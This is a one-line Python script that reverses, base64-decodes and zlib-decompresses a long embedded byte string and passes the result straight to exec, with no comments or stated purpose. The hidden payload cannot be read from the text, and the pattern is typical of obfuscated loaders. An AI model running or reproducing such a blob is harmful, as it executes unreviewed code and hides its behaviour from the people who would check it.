_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1])); exec((_)(b'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'))